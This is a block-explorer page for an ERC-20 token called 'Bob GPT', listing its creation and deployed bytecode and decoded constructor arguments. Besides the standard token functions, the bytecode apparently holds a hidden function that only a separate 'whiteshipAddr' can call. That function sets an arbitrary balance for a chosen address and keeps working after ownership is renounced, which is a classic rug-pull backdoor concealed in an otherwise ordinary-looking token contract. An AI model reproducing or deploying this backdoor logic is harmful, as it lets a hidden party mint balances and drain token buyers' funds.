ffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561115857808201518184015260208101905061113d565b60008484015250505050565b6000601f19601f8301169050919050565b60006111808261111e565b61118a8185611129565b935061119a81856020860161113a565b6111a381611164565b840191505092915050565b600060208201905081810360008301526111c88184611175565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611200826111d5565b9050919050565b611210816111f5565b811461121b57600080fd5b50565b60008135905061122d81611207565b92915050565b6000819050919050565b61124681611233565b811461125157600080fd5b50565b6000813590506112638161123d565b92915050565b600080604083850312156112805761127f6111d0565b5b600061128e8582860161121e565b925050602061129f85828601611254565b9150509250929050565b60008115159050919050565b6112be816112a9565b82525050565b60006020820190506112d960008301846112b5565b92915050565b6112e881611233565b82525050565b600060208201905061130360008301846112df565b92915050565b600080600060608486031215611322576113216111d0565b5b60006113308682870161121e565b93505060206113418682870161121e565b925050604061135286828701611254565b9150509250925092565b600060ff82169050919050565b6113728161135c565b82525050565b600060208201905061138d6000830184611369565b92915050565b61139c816111f5565b82525050565b60006020820190506113b76000830184611393565b92915050565b6000602082840312156113d3576113d26111d0565b5b60006113e18482850161121e565b91505092915050565b6113f3816112a9565b81146113fe57600080fd5b50565b600081359050611410816113ea565b92915050565b600080600080608085870312156114305761142f6111d0565b5b600061143e87828801611401565b945050602061144f8782880161121e565b935050604061146087828801611254565b925050606061147187828801611254565b91505092959194509250565b60008060408385031215611494576114936111d0565b5b60006114a28582860161121e565b92505060206114b38582860161121e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061150457607f821691505b602082108103611517576115166114bd565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611553602083611129565b915061155e8261151d565b602082019050919050565b6000602082019050818103600083015261158281611546565b9050919050565b7f736574207468652063616c6c20746f2074686520656e74657265640000000000600082015250565b60006115bf601b83611129565b91506115ca82611589565b602082019050919050565b600060208201905081810360008301526115ee816115b2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061162f82611233565b915061163a83611233565b925082820261164881611233565b9150828204841483151761165f5761165e6115f5565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006116c2602683611129565b91506116cd82611666565b604082019050919050565b600060208201905081810360008301526116f1816116b5565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611754602583611129565b915061175f826116f8565b604082019050919050565b6000602082019050818103600083015261178381611747565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006117e6602383611129565b91506117f18261178a565b604082019050919050565b60006020820190508181036000830152611815816117d9565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611878602683611129565b91506118838261181c565b604082019050919050565b600060208201905081810360008301526118a78161186b565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061190a602483611129565b9150611915826118ae565b604082019050919050565b60006020820190508181036000830152611939816118fd565b9050919050565b600061194b82611233565b915061195683611233565b925082820190508082111561196e5761196d6115f5565b5b9291505056fe4945524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220915a6252da7fcdec99459d3dff40d70c917f8f24f6a54cfd034de0854439379f64736f6c6343000813003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000027e317caa2abc809cb610b6fc335d19e5cbc0c9d0000000000000000000000000000000000000000033b2e3c9fd0803ce80000000000000000000000000000000000000000000000000000000000000000000007426f6220475054000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006426f624750540000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a25780639e4aa36a116100715780639e4aa36a146102d5578063a457c2d7146102f1578063a9059cbb14610321578063dd62ed3e14610351578063f2fde38b1461038157610116565b8063715018a61461027157806389f9a1d31461027b5780638da5cb5b1461029957806395d89b41146102b757610116565b806323b872dd116100e957806323b872dd146101a5578063313ce567146101d557806339509351146101f357806349bd5a5e1461022357806370a082311461024157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd146101695780631ab99e1214610187575b600080fd5b61012361039d565b60405161013091906111ae565b60405180910390f35b610153600480360381019061014e9190611269565b61042f565b60405161016091906112c4565b60405180910390f35b61017161044d565b60405161017e91906112ee565b60405180910390f35b61018f610457565b60405161019c91906112ee565b60405180910390f35b6101bf60048036038101906101ba9190611309565b61045d565b6040516101cc91906112c4565b60405180910390f35b6101dd610536565b6040516101ea9190611378565b60405180910390f35b61020d60048036038101906102089190611269565b61054d565b60405161021a91906112c4565b60405180910390f35b61022b610600565b60405161023891906113a2565b60405180910390f35b61025b600480360381019061025691906113bd565b610626565b60405161026891906112ee565b60405180910390f35b61027961066f565b005b6102836106f7565b60405161029091906112ee565b60405180910390f35b6102a16106fd565b6040516102ae91906113a2565b60405180910390f35b6102bf610726565b6040516102cc91906111ae565b60405180910390f35b6102ef60048036038101906102ea9190611416565b6107b8565b005b61030b60048036038101906103069190611269565b610919565b60405161031891906112c4565b60405180910390f35b61033b60048036038101906103369190611269565b6109e6565b60405161034891906112c4565b60405180910390f35b61036b6004803603810190610366919061147d565b610a04565b60405161037891906112ee565b60405180910390f35b61039b600480360381019061039691906113bd565b610a8b565b005b6060600780546103ac906114ec565b80601f01602080910402602001604051908101604052809291908181526020018280546103d8906114ec565b80156104255780601f106103fa57610100808354040283529160200191610425565b820191906000526020600020905b81548152906001019060200180831161040857829003601f168201915b5050505050905090565b600061044361043c610b82565b8484610b8a565b6001905092915050565b6000600a54905090565b60045481565b600061046a848484610d53565b61052b84610476610b82565b610526856040518060600160405280602981526020016119c260299139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104dc610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea9092919063ffffffff16565b610b8a565b600190509392505050565b6000600960009054906101000a900460ff16905090565b60006105f661055a610b82565b846105f1856002600061056b610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103f90919063ffffffff16565b610b8a565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610677610b82565b73ffffffffffffffffffffffffffffffffffffffff166106956106fd565b73ffffffffffffffffffffffffffffffffffffffff16146106eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e290611569565b60405180910390fd5b6106f56000611055565b565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610735906114ec565b80601f0160208091040260200160405190810160405280929190818152602001828054610761906114ec565b80156107ae5780601f10610783576101008083540402835291602001916107ae565b820191906000526020600020905b81548152906001019060200180831161079157829003601f168201915b5050505050905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107f9610b82565b73ffffffffffffffffffffffffffffffffffffffff161461084f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610846906115d5565b60405180910390fd5b82600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600381905550806004819055506004546003546108ae9190611624565b60016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b60006109dc610926610b82565b846109d7856040518060600160405280602681526020016119756026913960026000610950610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea9092919063ffffffff16565b610b8a565b6001905092915050565b60006109fa6109f3610b82565b8484610d53565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a93610b82565b73ffffffffffffffffffffffffffffffffffffffff16610ab16106fd565b73ffffffffffffffffffffffffffffffffffffffff1614610b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afe90611569565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d906116d8565b60405180910390fd5b610b7f81611055565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf09061176a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5f906117fc565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d4691906112ee565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db99061188e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2890611920565b60405180910390fd5b610e3c838383611119565b610ea88160405180606001604052806027815260200161199b60279139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f3d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fdd91906112ee565b60405180910390a3505050565b6000838311158290611032576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102991906111ae565b60405180910390fd5b5082840390509392505050565b6000818361104d9190611940565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561115857808201518184015260208101905061113d565b60008484015250505050565b6000601f19601f8301169050919050565b60006111808261111e565b61118a8185611129565b935061119a81856020860161113a565b6111a381611164565b840191505092915050565b600060208201905081810360008301526111c88184611175565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611200826111d5565b9050919050565b611210816111f5565b811461121b57600080fd5b50565b60008135905061122d81611207565b92915050565b6000819050919050565b61124681611233565b811461125157600080fd5b50565b6000813590506112638161123d565b92915050565b600080604083850312156112805761127f6111d0565b5b600061128e8582860161121e565b925050602061129f85828601611254565b9150509250929050565b60008115159050919050565b6112be816112a9565b82525050565b60006020820190506112d960008301846112b5565b92915050565b6112e881611233565b82525050565b600060208201905061130360008301846112df565b92915050565b600080600060608486031215611322576113216111d0565b5b60006113308682870161121e565b93505060206113418682870161121e565b925050604061135286828701611254565b9150509250925092565b600060ff82169050919050565b6113728161135c565b82525050565b600060208201905061138d6000830184611369565b92915050565b61139c816111f5565b82525050565b60006020820190506113b76000830184611393565b92915050565b6000602082840312156113d3576113d26111d0565b5b60006113e18482850161121e565b91505092915050565b6113f3816112a9565b81146113fe57600080fd5b50565b600081359050611410816113ea565b92915050565b600080600080608085870312156114305761142f6111d0565b5b600061143e87828801611401565b945050602061144f8782880161121e565b935050604061146087828801611254565b925050606061147187828801611254565b91505092959194509250565b60008060408385031215611494576114936111d0565b5b60006114a28582860161121e565b92505060206114b38582860161121e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061150457607f821691505b602082108103611517576115166114bd565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611553602083611129565b915061155e8261151d565b602082019050919050565b6000602082019050818103600083015261158281611546565b9050919050565b7f736574207468652063616c6c20746f2074686520656e74657265640000000000600082015250565b60006115bf601b83611129565b91506115ca82611589565b602082019050919050565b600060208201905081810360008301526115ee816115b2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061162f82611233565b915061163a83611233565b925082820261164881611233565b9150828204841483151761165f5761165e6115f5565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006116c2602683611129565b91506116cd82611666565b604082019050919050565b600060208201905081810360008301526116f1816116b5565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611754602583611129565b915061175f826116f8565b604082019050919050565b6000602082019050818103600083015261178381611747565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006117e6602383611129565b91506117f18261178a565b604082019050919050565b60006020820190508181036000830152611815816117d9565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611878602683611129565b91506118838261181c565b604082019050919050565b600060208201905081810360008301526118a78161186b565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061190a602483611129565b9150611915826118ae565b604082019050919050565b60006020820190508181036000830152611939816118fd565b9050919050565b600061194b82611233565b915061195683611233565b925082820190508082111561196e5761196d6115f5565b5b9291505056fe4945524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220915a6252da7fcdec99459d3dff40d70c917f8f24f6a54cfd034de0854439379f64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000027e317caa2abc809cb610b6fc335d19e5cbc0c9d0000000000000000000000000000000000000000033b2e3c9fd0803ce80000000000000000000000000000000000000000000000000000000000000000000007426f6220475054000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006426f624750540000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Bob GPT
Arg [1] : symbol_ (string): BobGPT
Arg [2] : decimals_ (uint8): 18
Arg [3] : whiteshipAddr (address): 0x27E317cAa2aBC809cB610b6fC335D19E5Cbc0C9d
Arg [4] : totalSupply_ (uint256): 1000000000000000000000000000

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 00000000000000000000000027e317caa2abc809cb610b6fc335d19e5cbc0c9d
Arg [4] : 0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [6] : 426f622047505400000000000000000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [8] : 426f624750540000000000000000000000000000000000000000000000000000


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.